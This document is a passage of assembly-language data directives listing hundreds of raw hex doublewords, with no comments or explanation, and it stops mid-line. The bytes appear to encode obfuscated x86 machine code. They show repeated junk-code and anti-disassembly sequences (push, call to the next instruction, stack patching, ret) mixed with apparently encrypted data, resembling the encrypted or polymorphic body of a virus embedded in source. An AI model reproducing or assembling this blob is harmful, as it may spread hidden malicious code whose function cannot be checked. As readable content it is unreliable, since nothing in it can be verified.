46000000h, 0A561C356h, 66560D69h, 8D89E2F7h dd 61B0E19h, 6057D82Bh, 9D895F51h, 61B0CE1h, 0EE815E61h dd 6B8C7B9Fh, 50575093h, 0F78B6652h, 13E8310Fh, 0B2000000h dd 9E2E9ECBh, 182AE61Bh, 0D9EECDF7h, 543E2A14h, 5A5FEB08h dd 0FF935F58h, 1B099DB5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 1966663Dh dd 37430549h, 675B58Bh, 95FF061Bh, 61B2205h, 218EF681h dd 0B0296Ch, 1BC5B58Bh, 70E6061Bh, 1E959D89h, 71E4061Bh dd 3CF98B66h, 55830F61h, 6A000002h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0DEC6C353h dd 0AA46FD5Ah, 0F9BD0BB7h, 0F061B12h, 6AD8B6h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 5D2E6FC3h, 0BDB0FD34h, 6830F3Bh, 2B000000h, 1B3139BDh dd 6BA06h, 0B52B0000h, 61B0CFDh, 6AC38Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 66B4CCC3h dd 0C1B646BFh, 6A04E8h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 998BDAC3h, 118D0136h, 51061B0Fh dd 0F7665FFCh, 0D8B0FE2h, 0E9000000h, 8, 1D7CD906h, 18297ED1h dd 6AD82Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 6A5803C3h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 83F7C356h, 0D59DB01h dd 0E92869C6h, 0Ah, 31E475EFh, 5DE8B81h, 890F0E12h, 0 dd 880FD82Bh, 12Ch, 7E98D09h, 7B9061Bh, 89000000h, 1B3019BDh dd 0C18306h, 0DE9h, 4A469D00h, 0C8B439ECh, 0E2636E35h dd 0D93B611Ch, 0FE860Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 0B5034BC3h, 61B2F25h dd 6AD98C66h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 0CD9BC357h, 1D31BD89h, 0C1F6061Bh dd 8A840F04h, 33000000h, 1B021DB5h, 4595FF06h, 0E9061B0Ch dd 6, 70B35397h, 0BD8901C8h, 61B01F5h, 57006A5Bh, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 74AB0C93h, 0BD89F56Ah, 61B07A9h, 2B76D681h, 0C32B614Fh dd 38C0Fh, 0BF0F0000h, 8343DF9h, 860F0000h, 29h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0DCC35747h, 29E97AB1h dd 3000000h, 1B0049BDh, 6AC08B06h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 93F9C352h dd 4434BF66h, 0D88BC38Bh, 8E9h, 0CC29EA00h, 0C4A92332h dd 1B58B21h, 0C7061B07h, 1B2D1D85h, 65555906h, 53006A19h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 0ABB93A57h, 8D897023h, 61B17B1h, 2159BD8Bh, 9589061Bh dd 61B1675h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 1D6C40C3h, 895267C1h, 1B23F1B5h dd 0BD815F06h, 61B099Dh, 7D0h, 42850Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 34841FC3h, 85FFA39Ah, 61B099Dh, 11E9h, 1169100h, 4A0078F0h dd 0E69B8086h, 5A3BD7AAh, 0E6817FA8h, 5783496Bh, 99DB5FFh dd 6A061Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 98C41C3h, 1B295995h, 595FF06h, 6A061B22h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 0CD24C350h, 0CA6D7E2Dh, 13E9819Fh, 15B58B56h dd 5E061B2Fh, 90F28B66h, 0AA1BD03h, 9D29061Bh, 61B32F1h dd 31EE8060h, 7C1BD0Bh, 361061Bh, 1B3189B5h, 0BD896006h dd 61B2DA5h, 858D3157h, 58061B07h, 57006A61h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0A54AE936h dd 52006AC4h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 0D13B24C1h, 89F46EECh, 1B0155B5h, 0E8535206h dd 7, 7798089Bh, 5E74837Ch, 0BD8B5E5Fh, 61B2455h, 2C759589h dd 8166061Bh, 29AC27EFh, 1B07B18Dh, 95295006h, 61B1441h dd 2BBF665Fh, 50006A33h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 0E46196Dh, 8960CD8Bh, 1B326D95h dd 48B76006h, 9D3112B4h, 61B0825h, 0D68B6661h, 0B9B58B61h dd 50061B0Bh, 23F1B58Bh, 0B589061Bh, 61B10DDh, 11E95Fh dd 0FDC80000h, 0FA50C17Ch, 0B5399FB2h, 0BD3660F7h, 8B664B11h dd 0E9B58BFEh, 0E9061B0Ah, 0FFFFF823h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 6BC35747h, 50006A60h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 7080F5A0h, 12E998BFh, 7C000000h, 0F5A5C5E1h, 670AEBF3h dd 880C8204h, 0FF037462h, 0FFFEB92Dh, 6AFFFFh, 3E850h dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0F11766C3h, 2C699D8Bh, 8D21061Bh, 61B2B3Dh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0E1C35141h, 0BB66AFB5h dd 9D899264h, 61B0EA9h, 6B98D21h, 0CE8061Bh, 4E000000h dd 70E7DF51h, 0B69EE33Ch, 0F80B1E2h, 680h, 860F00h, 5A000000h dd 2B3D8D8Bh, 9529061Bh, 61B0965h, 0F01E183h, 1C85h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0B98D8B5Eh, 6A061B06h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 5F8C351h, 9701278Ch dd 0C5704633h, 8800Fh, 89560000h, 1B29758Dh, 0E1835B06h dd 2A850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 6FBC356h, 9C8B2FE1h dd 0BD018DEBh, 32BFC9BFh, 29606144h, 1B1C75B5h, 0FFFEB906h dd 0BA66FFFFh, 95015600h, 61B1781h, 6418D21h, 6A061Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 218641C3h, 1B19418Dh, 758D0906h, 8B061B1Bh, 1B06418Dh dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 72F442ADh, 78A99F22h, 0E1839B93h, 3D850F01h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 0B9E0C356h, 0AE8DC31h, 74000000h dd 21E98FCCh, 57798675h, 5D858B32h, 5E061B18h, 6637F480h dd 459CF81h, 19418D8Bh, 0F53061Bh, 18Dh, 895AF800h, 1B1A59B5h dd 1E18306h, 4E850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 818CFFC3h, 6434DED8h dd 958BFC24h, 61B2D75h, 1E8B0Fh, 12E80000h, 0E5000000h dd 35181885h, 567D1CBEh, 0B11ADB6Ch, 85CCCA28h, 55858B19h dd 5F061B19h, 7E96061h, 60000000h, 12B7869Bh, 0FEB919D8h dd 6AFFFFFFh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 0C307C352h, 0D2BB37EEh, 211CA6B2h dd 1B0ED98Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 8D210E36h, 61B0BE1h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0BCC35545h, 8B85E439h dd 1B0ED98Dh, 10E906h, 8CA90000h, 0A15AAA0Bh, 9AA7A8D2h dd 54B91D14h, 0E1831F2Dh, 3B850F01h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 0DC67C351h, 0D881F98Eh, 379D0346h, 0CE8h, 0AD456300h dd 632F89F8h, 983F4EEDh, 0D18B5624h, 8D8B585Fh, 61B0BE1h dd 12E9h, 0D964D700h, 3370C4F2h, 90AF49h, 8D4B5672h, 8BEDE4E1h dd 1E183C6h, 25850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 4F3E27C3h, 698D3192h dd 61061B24h, 52006A60h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 0F9F7E443h, 19C58D67h, 5AF5526Eh dd 0FFFFFEB9h, 8D21F9FFh, 61B1745h, 27EE8166h, 1D8D2135h dd 6A061B2Dh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0BE5DC356h, 0D697CEF4h, 458D8B75h dd 80061B17h, 0E18381EBh, 1C850F01h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 8B01C356h, 1B2D1D8Dh, 759D8906h, 83061B17h, 850F01E1h dd 5, 0A0E28166h, 6A60615Dh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 0F35FC351h dd 0FF0FE9B5h, 95891959h, 61B21BDh, 99D85C7h, 7D0061Bh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 303F76C3h, 7799509h, 6A61061Bh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 0E355C353h, 0E9636DC1h, 0Eh, 0B302634Eh, 0B4766111h dd 0EBBE6AEFh, 0B5091037h, 61B30F5h, 9D6107EBh, 0E9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0A34FB501h, 50342A6Ah, 9D01ACB7h, 61B0245h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 9BC35646h, 89C8AAE1h dd 1B01859Dh, 0E9C18B06h, 75h, 0D88C6660h, 840F04A8h, 35h dd 0B5FF016Ah, 61B2BF9h, 7046858Dh, 0D0FF061Eh, 18658589h dd 0FE8B061Bh, 680CEFC1h, 20040000h, 26A006Ah, 0D6857h dd 95FF0001h, 61B1865h, 32E9h, 9D85C600h, 56061B23h, 0C530DF68h dd 11B5FFA9h, 8D061B2Fh, 1E704685h, 89D0FF06h, 1B228985h dd 0A5858D06h, 50061B1Bh, 56A206Ah, 8995FF56h, 61061B22h dd 6E0C1C3h, 8BB8B160h, 6E9C0h, 0D0E60000h, 0E2DB1458h dd 2E8DBD8Bh, 0BD83061Bh, 61B23D1h, 83097500h, 1B3129BDh dd 19740006h, 0C08B5350h, 438B8h, 0A1858900h, 8D061B2Dh dd 1DA64D9Dh, 5BD3FF06h, 29BD8358h, 61B31h, 53501774h dd 438B8h, 0A1858900h, 8D061B2Dh, 1DA33C9Dh, 5BD3FF06h dd 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 0BAB6660Dh, 8C5D36C0h, 0B589539Fh, 61B1219h dd 0B2BFCF8Bh, 8B2C0ABCh, 56006AC0h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 983F4EEDh dd 0BF0FA024h, 11E9C8h, 76680000h, 6F599DDDh, 9E6ACF88h dd 8D46E6BFh, 0E8D8532Eh, 0A1Ah, 68A0Fh, 95090000h, 61B1251h dd 9818589h, 6A061Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 7E2339C3h, 6140DD8Bh, 70C98017h dd 9DDE8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 51DEFF5Eh, 89F6B70Fh, 1B03A585h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 0BD8BD4D1h, 61B2201h, 0FE9h, 69122E00h dd 0EFDE15BCh, 29A4FE74h, 6BC3B2F6h, 979E8h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0F133A71h, 304DBD8Bh, 8589061Bh, 61B31BDh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0BEC35242h, 81314258h dd 6D945EC1h, 924E865h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 2796BC3h, 25659D89h dd 8589061Bh, 61B2549h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 15C35646h, 0E9D9259Bh, 0Dh, 78578F9Ah dd 0DFD10C81h, 0A5594367h, 56606011h, 299D8B5Bh, 61061B0Eh dd 0CB9B589h, 0E861061Bh, 8B2h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 3FC35545h, 8E8h, 758E8A00h dd 0C1B25C3Dh, 0AD95312Eh, 5F061B0Ch, 0B8D8589h, 0BF66061Bh dd 85893FD9h, 61B0399h, 0E8FFBF0Fh, 86Ah, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 16h, 60C35747h, 0B58B40F5h dd 61B1BADh, 2D498589h, 6A061Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 0D3FD29C3h, 43CD80E6h dd 819E8h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 2DBD8B01h, 8B061B30h, 1B215DB5h dd 5D858906h, 6A061B00h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 0BC47C356h, 0EB8D055Bh dd 5E952DCh, 17000000h, 87C7D0FBh, 7B9E8h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 0E833BCDFh, 5, 0E4529341h, 9E924h, 130D0000h, 0DDC13388h dd 5F0C868Eh, 23B59589h, 8589061Bh, 61B0DCDh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 79C35646h, 81C8AC04h dd 0CEDE1DEh, 74CE800h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 5DC0E7C3h, 89826DA6h dd 1B229985h, 0FBB70F06h, 71DE8h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0C1385824h dd 890FB874h, 1B249D85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 85F8E9E4h, 0AE997FDh dd 0FA000000h, 67FD1555h, 0D18293B1h, 41B58B75h, 51061B21h dd 3151BD33h, 0E85E061Bh, 6B2h, 1D458589h, 6A061Bh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 0E18149C3h, 0CF1B1F1h, 68F0Fh, 9D890000h, 61B0845h dd 679E8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 8D0FE535h, 4, 0DE29BE66h, 10E853h dd 7D810000h, 0D3E7569h, 50DF2465h, 0DFD7AE48h, 0BD8B882Dh dd 61B32F1h, 820F595Eh, 6, 8B0Fh, 85890000h, 61B1BD1h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0E9C35747h dd 245D9E98h, 471BC5D7h, 7FC18166h, 5F4E83Bh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 8BAE6CC3h, 1B07DDBDh, 0C6816606h, 85898454h, 61B25D9h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 2EC35343h dd 0A3E84840h, 0F000005h, 1587h, 10E900h, 41060000h, 0D2410169h dd 0BE322908h, 71CDA0E3h, 8589E310h, 61B07B5h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 75C35646h, 5FE82BCBh dd 0F000005h, 58Ah, 539DBF00h, 8589121Ah, 61B02FDh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 5BC35141h, 7101F939h dd 0BD8BC99Ch, 61B0AD9h, 6458D23h, 1BE8061Bh, 0F000005h dd 8589CFB7h, 61B18DDh, 2DA5BD8Bh, 0B0061Bh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 7BC35747h, 0F6AA256h dd 6AD8B6h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 2FC195C3h, 87E18166h, 0D98D8949h, 0BA061B1Eh dd 6, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh dd 0E4C35747h, 0E09C52DBh, 0E8BC9634h, 0Ah, 938C11E4h dd 0B21D4FCFh, 66592DB8h, 0FD05DE81h, 0BE9C38Bh, 7D000000h dd 42653B58h, 2E42EFFCh, 0E8C12D5Ah, 52006A04h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0FE41F5E3h dd 86D014EFh, 0AE82E6Eh, 89000000h, 0CCF514F2h, 588380DEh dd 75BD8B51h, 59061B1Bh, 6AE2F766h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0DA05C352h dd 418ACC01h, 81097C85h, 622C7DF1h, 8AD82B55h, 525093ECh dd 0A9FBE4B9h, 50310F03h, 779DBF52h, 310F506Dh, 310F5250h dd 585A585Ah, 6650585Ah, 6A93F28Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0F927C352h dd 0A9FD0FB7h, 8BE07DEEh, 1B03E5B5h, 4595FF06h, 6A061B0Ch dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 6FBCC351h, 0F60A855h, 13E9D0B7h, 4B000000h dd 0CBA69315h, 0A0F0D982h, 2348AB90h, 859C0DFFh, 5B61C6A9h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 41C35545h dd 14E8h, 76D8A900h, 0BB68F7CDh, 0A214911Ah, 0B8E48B0h dd 0ADDF577Ch, 28F0FFAh, 8B000000h, 958D59F0h, 61B29F1h dd 6A1A89h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 68D096C3h, 738A96DAh, 0E9044289h, 9, 2B31AEFAh dd 1D88ADD5h, 55BD8B85h, 8D061B06h, 1B0E3595h, 26B96606h dd 6A1A8921h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 618AC353h, 89C500B9h, 6A0442h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 8987D6C3h, 1B08C185h, 1958D06h, 6A061B30h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0A67EC351h, 0E9B14C88h, 8, 269493h, 99B7B328h, 6A1A89h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0FE5BFFC3h, 0A8743141h, 55958989h, 0B1061B31h, 442893Eh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 3AC35545h dd 1DD1FA39h, 1E8C0FD4h, 0E8000000h, 12h, 6492C2DDh, 0B12B3DAAh dd 3E5FB06Fh, 0FD57BAB7h, 0B523C121h, 61B0A71h, 0DBA1BF5Eh dd 958D57DDh, 61B06ADh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 93C35343h, 3C45905Ah, 6E9E6h, 0AEC90000h dd 0BCBFB4C6h, 6A1A89h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 82443EC3h, 8589FDCCh, 61B1305h dd 6A044289h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0DD2DC356h, 430C2B82h, 609560ECh dd 8BCEBF0Fh, 1B01EDB5h, 958D6106h, 61B2229h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0ECC35141h, 41628F7Fh dd 96E90A2Dh, 9F9BD8Bh, 1A89061Bh, 29599589h, 4289061Bh dd 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 3D958DE8h, 6A061B03h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 743DC350h dd 0A19531FCh, 89061B18h, 57006A1Ah, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 389C0A7Eh dd 97DD20B5h, 0E8B9661Fh, 4428949h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 2C35141h, 41FBEB6h, 10C1958Dh dd 0BD89061Bh, 61B1A49h, 6A1A89h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 0EAD87DC3h, 9ADE86C0h dd 8BFA8B66h, 1B23818Dh, 5EBF5706h, 5972848Eh, 6A044289h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0CFBDC351h, 554E2349h, 8D4FB501h, 1B292195h dd 2AD0BF06h, 0B52363D0h, 61B1339h, 870F1A89h, 3, 89CEB70Fh dd 0CBE0442h, 0E91779DFh, 0A8h, 4860Fh, 0BF660000h, 6A17D1h dd 178B0Fh, 12E90000h, 8000000h, 0D43BB9AAh, 93FB78C1h dd 6A74AB0Ch, 463AC2F5h, 89006AE9h, 1B293195h, 6A006A06h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0D1DBC351h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 179C77C3h, 0AE829ED7h dd 95FFADC9h, 61B2BE1h, 6850Fh, 95890000h, 61B19E9h, 0C7D681C3h dd 0E9020AAAh, 14h, 0A56DDB35h, 504DB0EDh, 0F483FCB6h dd 4C44F0FDh, 0E0F099ADh, 6AC58Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 0E5F46BC3h, 6118E456h dd 0D800F3Fh, 0E9000000h, 8, 62B4CB20h, 1C1C4FE8h, 6AC08BF5h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 0A6A1C357h, 8BFE1E39h, 1B067DB5h, 5D8D8B06h dd 89061B1Eh, 1B0EE185h, 0D1BD8306h, 61B23h, 0BD830975h dd 61B3129h, 50197400h, 0B8C08B53h, 438h, 21318589h, 9D8D061Bh dd 61DA6B4h, 585BD3FFh, 3129BD83h, 7400061Bh, 0B8535017h dd 438h, 21318589h, 9D8D061Bh, 61DA355h, 585BD3FFh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 13C35747h, 0C688509Fh dd 7820Fh, 0F600000h, 6160DEBFh, 0FD3B561h, 0C08BFEB7h dd 32ED858Dh, 6A061Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 0E89073C3h, 6, 0F6804BABh, 505F6D4Bh dd 90F98B66h, 8E9h, 0A32F4900h, 0A7160F0Ah, 6A006AE8h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 75C2C357h, 0BB0BC1D9h, 55624AA8h, 9800F6BFh dd 6A006A05h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 3F82C357h, 1FF4F5ACh, 2DBD8BF5h dd 8D061B0Dh, 1F30DC85h, 5C08306h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 0FBC35646h, 291C5958h, 1B31998Dh dd 14E96006h, 0FE000000h, 53C9BC9Dh, 0DD24337Dh, 38137D73h dd 1C566DF2h, 60034F95h, 2D419D31h, 6161061Bh, 89FC8A50h dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 6FEF9FC3h, 0A81B18CEh, 870F2156h, 5, 6BCF8166h dd 89006A68h, 1B23D995h, 6A006A06h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0DD8DC350h dd 9CD81FA2h, 9C1E766h, 1A0195FFh, 0DB80061Bh, 0B78D8D25h dd 6A061E92h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 5140C355h, 6AD1FFh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 6FCEFCC3h dd 2B6ECD77h, 0E83ABBC8h, 0BD8B268Fh, 61B02E1h, 1CD5BD83h dd 0F01061Bh, 9885h, 0C8D0F00h, 0F000000h, 68Dh, 0E99D2900h dd 6A061B03h, 0F99D0302h, 0E8061B24h, 0Fh, 3D4AD1F1h, 6A070A8Bh dd 6956A086h, 898F1E98h, 1B03A185h, 0BF905B06h, 400DEC1Ah dd 0BE950h, 81F60000h, 0FC7C02E2h, 0AE0CA881h, 6A9073h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0D06081C3h, 38F88672h, 142D95FFh, 6A061Bh, 3E850h, 58200000h dd 448958C3h, 44810424h dd 1B0424h, 50400000h, 1486E6C3h, 10A3FDB9h, 0DAFE9A5h dd 0E80000h, 5D000000h, 30E6ED81h, 6A061Fh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 9D898BC3h dd 61B2C69h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 2AC35747h, 0DAB70FEBh, 853D858Dh, 0FE8061Eh, 20000000h dd 4CB5078h, 0DAE57026h, 5E616961h, 8D89CFCDh, 61B0F11h dd 0DAF7815Fh, 5008A4F0h, 0DF2389BBh, 2404891Ah, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0F7C35646h, 3BCF80D4h dd 35FF64h, 0F000000h, 184h, 0E380F900h, 25896427h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0C6C35646h dd 2B0D85FFh, 6A061Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 3A3627C3h, 70E89D12h, 0E9A701D7h dd 7, 5FF62C2Bh, 663A4924h, 6AD870BFh, 5E9FFh, 5F1C0000h dd 0FFF7A30Ah, 1B0981B5h, 7DD78006h, 80595FFh, 21E9061Bh dd 66000001h, 0FBAD6BFh, 0B0F9BFh, 1E7CD381h, 70E62642h dd 32AD9529h, 71E4061Bh, 3258589h, 613C061Bh, 0FA830Fh dd 0BD8B0000h, 61B2F71h, 33C8B60Fh, 1B02599Dh, 13E906h dd 2DF10000h, 8BAC15BAh, 5E453A5Bh, 0F4E17DC9h, 5F12DCABh dd 6BA60h, 81660000h, 8B3894C3h, 0DAB70FC1h, 8904E8C1h dd 1B08798Dh, 0E2F76606h, 1018529h, 0C82B061Bh, 19359589h dd 0D18B061Bh, 2E9F9h, 0F98A0000h, 29F1858Bh, 0F57061Bh dd 68Ah, 519D8B00h, 5F061B07h, 107C083h, 1B13BD95h, 0C08306h dd 0DE9h, 2466DB00h, 0C07CC6A6h, 970B57D8h, 0D03B758Dh dd 1D830Fh, 0AE80000h, 54000000h, 5C6842D9h, 1686C80Fh dd 5F1CB798h, 4FE9h, 79BD8B00h, 8B061B1Eh, 1B2B3D8Dh, 34C38106h dd 0F930F6A0h, 0F01E183h, 3384h, 0DBD8B00h, 83061B2Fh dd 1B2B3DA5h, 0DE8FE06h, 9C000000h, 3F3AD5E6h, 737795D4h dd 5CB6F09Fh, 72DB8166h, 95895B95h, 61B29F1h, 0E9DF8B66h dd 0 dd 0C3A4B58Dh, 6A061Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 798FDCC3h, 0BD8B6BDEh, 61B30DDh dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 8985E5C3h, 1B10BDB5h, 595FF06h, 0F061B22h dd 1682h, 11E900h, 84F50000h, 0AFEC00CAh, 179E521Dh, 5BBE5A99h dd 892012AFh, 1B131D95h, 7BEB906h, 0BD290000h, 61B18C5h dd 0E8FCE183h, 0Bh, 0CB738309h, 0CAA2F699h, 66436C7Eh dd 82F5EB81h, 8509FC5Fh, 61B323Dh, 9D0BC02Bh, 61B0661h dd 0BAh, 0BE800h, 0B2DF0000h, 1F702072h, 18AE4386h, 20E780FBh dd 0C233AD5Fh, 0D003E8D1h, 7504E983h, 13E9F4h, 0B3130000h dd 53FA53B0h, 4D5F5564h, 18ADE515h, 0F9A44EB0h, 52006A86h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 4CCD5DD1h, 8B139AC4h, 1B3139BDh, 880D06h, 81660000h dd 8B5848C7h, 1B242995h, 19D8B06h, 8B061B11h, 1B07658Dh dd 0F98B6606h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 9D8B5818h, 61B0C01h, 0E853006Ah, 3, 5BC35B20h, 